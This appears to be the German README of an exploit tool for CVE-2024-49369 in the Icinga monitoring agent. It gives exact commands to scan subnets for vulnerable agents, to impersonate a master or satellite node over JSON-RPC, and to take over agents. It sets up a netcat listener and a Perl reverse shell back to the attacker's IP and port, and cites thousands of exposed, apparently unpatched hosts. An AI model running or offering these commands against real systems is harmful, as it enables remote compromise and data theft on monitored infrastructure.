
Exploit-Tool für CVE-2024-49369 in Icinga, das Subnetz-Scanning, Agent-Übernahme per JSON-RPC-Identitätswechsel, Ausführung beliebiger Befehle und Reverse Shell ermöglicht.
Diese Schwachstelle nutzt das Icinga JSON-RPC-Protokoll aus, um überwachte Knoten, auf denen Icinga-Agenten laufen, zu kompromittieren. Durch die Nachahmung einer Master-/Satellite-Instanz können Angreifer potenziell Agenten übernehmen, beliebige Befehle ausführen oder vertrauliche Informationen erlangen.
Um ein Subnetz auf verwundbare Agenten zu scannen, führen Sie den folgenden Befehl aus:
python3 main.py scan --subnet 192.168.0.0/24 --vuln --batch 25
Dies scannt das angegebene Subnetz in Batches von 25 IPs. Das Tool sendet eine Icinga::HELLO-Nachricht über das JSON-RPC-Protokoll und identifiziert antwortende Agenten sowie deren Versionen.
Wenn Konfiguration und Befehlsausführung auf einem Endpunkt aktiviert sind (die Standardeinstellung für überwachte Knoten mit Icinga-Agenten), kann ein Angreifer:
Dies kann zu einer vollständigen Systemkompromittierung (abhängig vom Dienstbenutzer) oder eingeschränktem Zugriff führen.
Wenn der Elternknoten noch verbunden ist, sehen die Exploit-Verbindungen im Log folgendermaßen aus:
[2024-12-11 09:13:03 -0500] information/ApiListener: New client connection for identity 'my_satellite' from [::ffff:192.168.0.1]:48120
[2024-12-11 09:13:04 -0500] information/ApiListener: New client connection for identity 'my_satellite' from [::ffff:192.168.0.1]:48124 (certificate validation failed: code 18: self signed certificate)
[2024-12-11 09:13:04 -0500] warning/ApiListener: No data received on new API connection from [::ffff:192.168.0.1]:48124 for identity 'my_satellite'. Ensure that the remote endpoints are properly configured in a cluster setup.
Wir können sehen, dass dieser Knoten für den Angriff verwundbar ist, da die Warnung für Cluster ausgelöst wird, was bedeutet, dass das aktuelle Satellite noch verbunden ist, aber dieser Agent uns als gültigen Elternknoten betrachtet.
Starten Sie einen Netcat-Listener für die Reverse Shell:
nc -lvnp 9001
Starten Sie den Exploit:
python3 main.py exploit --host 192.168.0.5 --node-cn icinga_master --zone master --revip 192.168.0.1 --revport 9001
--host: IP-Adresse des Zielagenten.--node-cn: Common Name des zu imitierenden Master/Satellite.--zone: Name der Zielzone. Standard ist master.--revip: IP-Adresse des Angreifers für die Reverse Shell.--revport: Port des Angreifers für die Reverse Shell.Dieser Befehl initiiert wiederholte Verbindungsversuche. Sobald sich der Zielagent von seinem aktuellen Elternknoten trennt, übernimmt das Tool und sendet und empfängt Checks.
Es wird eine auf Perl basierende Reverse Shell als Teil eines neuen, vom Tool erstellten Checks verwendet.
Selbst wenn Konfiguration und Befehlsausführung auf dem Ziel deaktiviert sind, können Angreifer möglicherweise sensible Daten erlangen, indem sie die Ergebnisse der an den Agenten gesendeten Checks beobachten.
{
"jsonrpc": "2.0",
"method": "config::UpdateObject",
"params": {
"config": "object Downtime ...",
"name": "icinga-agent!load!9856e6b2...",
"type": "Downtime",
"version": 1733899523.67197
}
}
{
"jsonrpc": "2.0",
"method": "event::SetLastCheckStarted",
"params": {
"host": "icinga-agent",
"last_check_started": 1733899492.313578,
"service": "icinga"
},
"ts": 1733899492.313714
}
Diese Antworten können sensible Konfigurationen, Planungsdaten oder sogar die Ergebnisse überwachter Dienste offenlegen.
Auf Censys gibt es derzeit 24.003 Hosts mit einem öffentlich zugänglichen Icinga-Port. Stichprobenartige Überprüfungen deuten darauf hin, dass die meisten Hosts immer noch eine verwundbare Version von Icinga ausführen.
Diese Forschung baut auf der Arbeit auf, die im Icinga-Blog besprochen wurde.